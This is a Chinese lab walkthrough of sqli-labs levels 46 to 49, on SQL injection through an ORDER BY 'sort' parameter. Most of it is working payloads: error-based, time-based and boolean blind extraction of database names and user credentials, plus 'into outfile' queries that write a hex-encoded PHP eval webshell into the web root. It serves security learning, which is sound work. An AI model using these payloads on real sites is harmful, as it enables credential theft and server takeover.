Less-46
基于错误_GET_数字型_排序注入
这关往后都是
order by
语句与limit
语句的相关注入,还是很实用的,尤其是对于一些会显示表格的网站,他们的 URL 中通常都会有sort
和limit
两个参数。
sort
参数接收需要排序的列的序号(从1开始)尝试
sort=1 asc
和sort=1 desc
,分别显示升序和降序的表格,说明此处是注入点,即注入点在order by
后的参数中,
而
order by
不同于在where
后的注入,不能使用union
等进行注入。
如何进行order by
的注入,我们先来了解一下 MySQL 官方的select
文档。
https://dev.mysql.com/doc/refman/8.0/en/select.html
http://192.168.33.1/sqli/Less-46/?sort=left(version(),1)
http://192.168.33.1/sqli/Less-46/?sort=right(version(),1)
形式一:
?sort=(select ······)
形式二:
?sort=1 and (select ······)
形式三:
?sort=rand(······)
由于Less-46是
数字型注入
,所以形式一和形式二可以说是一样的
顺便说一下,源代码中有这样一句:这是我们能进行报错注入的根本
①直接添加注入语句,?sort=(select ******) 即可利用基于报错注入,延时盲注
基于报错注入主要采用的是双注入的方法,即子查询 / 派生表,这在 Less 17 中有详细的介绍。因为这里
order by
只能接一个字段,所以应当采用派生表的方法,原理见 Less 17:当然使用一些报错函数如:updatexml 等是一样的
基于报错注入:
暴库
?sort=(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)
暴表:
1.这里我使用group_concat()没有成功,老毛病,别人却能成功
?sort=(select 1 from (select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a) b)
?sort=(select 1 from (select count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as a from information_schema.tables group by a) b)
爆字段名
?sort=(select 1 from (select count(*),concat_ws('-',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2))as a from information_schema.tables group by a) b)
爆数据:
?sort=(select 1 from (select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a) b)
在《注入天书》中还见到了派生表的另一种写法:
?sort=(select count(*) from information_schema.schemata group by concat_ws('-',(select database()),floor(rand()*2)))
?sort=UpdateXml(1,concat(0x7e,database(),0x7e),1)
基于延时注入:
在这里使用延时注入会有新的发现,比如使用:
?sort=if(ascii(mid(database(),1,1))=115,sleep(3),0) ===》(slect .........)加不加都可以
发现sleep的时间远远大于3秒
于是改小sleep的时间为0.1秒,发现沉睡时间大约2秒,这是怎们回事在前面的关卡中没太注意是因为sleep的时间不会很长,基本接近自己设置的sleep时间
于是,查看了一下别人的博客发现:
查了发现sleep()
这个函数水很深:
添加
sleep(N)
这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数,MySQL 会对每条满足条件的记录停留 N 秒钟。
参考:关于MySQL的SLEEP(N)函数
单次查询:
http://localhost:8088/sqlilabs/Less-46/?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)
代码复用:
http://localhost:8088/sqlilabs/Less-46/?sort=if(ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(0.1),0)
?sort=if(ascii(mid(database(),1,1))=115,1,sleep(3))
关于延时注入详情,参考Less-9
在前面我也说了Less-46是数字型注入,那么形式一和形式二的用法是一样的,所以形式二我就
不介绍了。
基于布尔盲注:
MySQL 像 PHP,也是一种弱类型,它会认为
true=1
,false=0
。
用在order by
后会直接导致显示不同,因为没有第0列:
order by
接返回数字或布尔值(因为是弱类型,布尔值返回仍是数字)的语句是没有作用的!所以第一和第二句式都不可以盲注,因为显示没有区别。
我们只能用第三句式的rand()
函数。
rand()
函数早在 Less 5 中已经介绍过了,它是个随机函数,返回0~1间的小数。使用时也可以给定参数值(随机种子),相同的参数生成的结果也相同,我们只需注意两个:应用在
order by
中也如此:
true:
?sort=rand(ascii(left(database(),1))=115)
fslse:
?sort=rand(ascii(left(database(),1))=116)
procedure analyse 参数后注入
利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。
以下为示范例:
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
导出文件 into outfile 参数注入:
?sort=1 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-46\\test.txt"
上图中显示 sql 出错了,但是没有关系,我们可以在浏览器或后台中看到 test.txt 文件已经生成了
注意:仍有 Less 7 中提到的数据导入导出权限和路径转义的问题,需要重视。
导出文件我们就可以考虑上传一句话木马:(可以考虑上传网马,利用 lines terminated by。)
?sort=1 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-46\\test.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e
其中lines terminates by
将每行以指定字符串结尾:
0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e =
hex()
查看后台文件:
使用中国菜刀拿到 shell,也可参考 Less 7
Less-47
基于错误_GET_字符型_单引号_排序注入
方法1:基于报错注入
?sort=1' and (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)--+
?sort=1' and(updatexml(1,concat(0x7e,(select database())),0)) --+
?sort=1' and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
此处重复了 version(),所以就爆出了版本号
方法2:基于 Bool 盲注
and rand()
连接order by column_name / column_number
时返回的不是固定值。(会很混乱,具体看下面的图)(至于“注入天书”中的作者成功了,可能是他环境是ubuntu的原因吧)
方法3:基于 Time 盲注
盲注方法同 Less 46,同样有每条数据sleep
一次的问题:
?sort=1' and if(ascii(mid(database(),1,1))=115,1,sleep(0.3))--+
没有延迟,那为什么顺序是乱的?原理呢?
方法4:procedure analyse 参数后注入
利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。
以下为示范例
方法5:into outfile 参数注入
详细过程可参考Less-46
?sort=1' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-47\\test.txt" --+
查看:
导出文件我们就可以考虑上传一句话木马:(可以考虑上传网马,利用 lines terminated by。)
?sort=1' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-47\\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
此处的 16 进制文件为
查看:
Less-48
基于盲注_GET_数字型_排序注入
方法1:基于 Bool 盲注
?sort=rand((ascii(mid((select database()),1,1)))>65)
方法2:基于 Time 盲注
?sort=if(ascii(mid(database(),1,1))=115,1,sleep(0.1))
方法3:into outfile 参数注入
?sort=1 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-46\\test.txt"
Less-49
基于盲注_GET_字符型_单引号_排序注入
方法1:基于 Time 盲注
?sort=1' and if(ascii(mid(database(),1,1))=115,1,sleep(1))--+
方法2:into outfile 参数注入
?sort=1' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-47\\test.txt" --+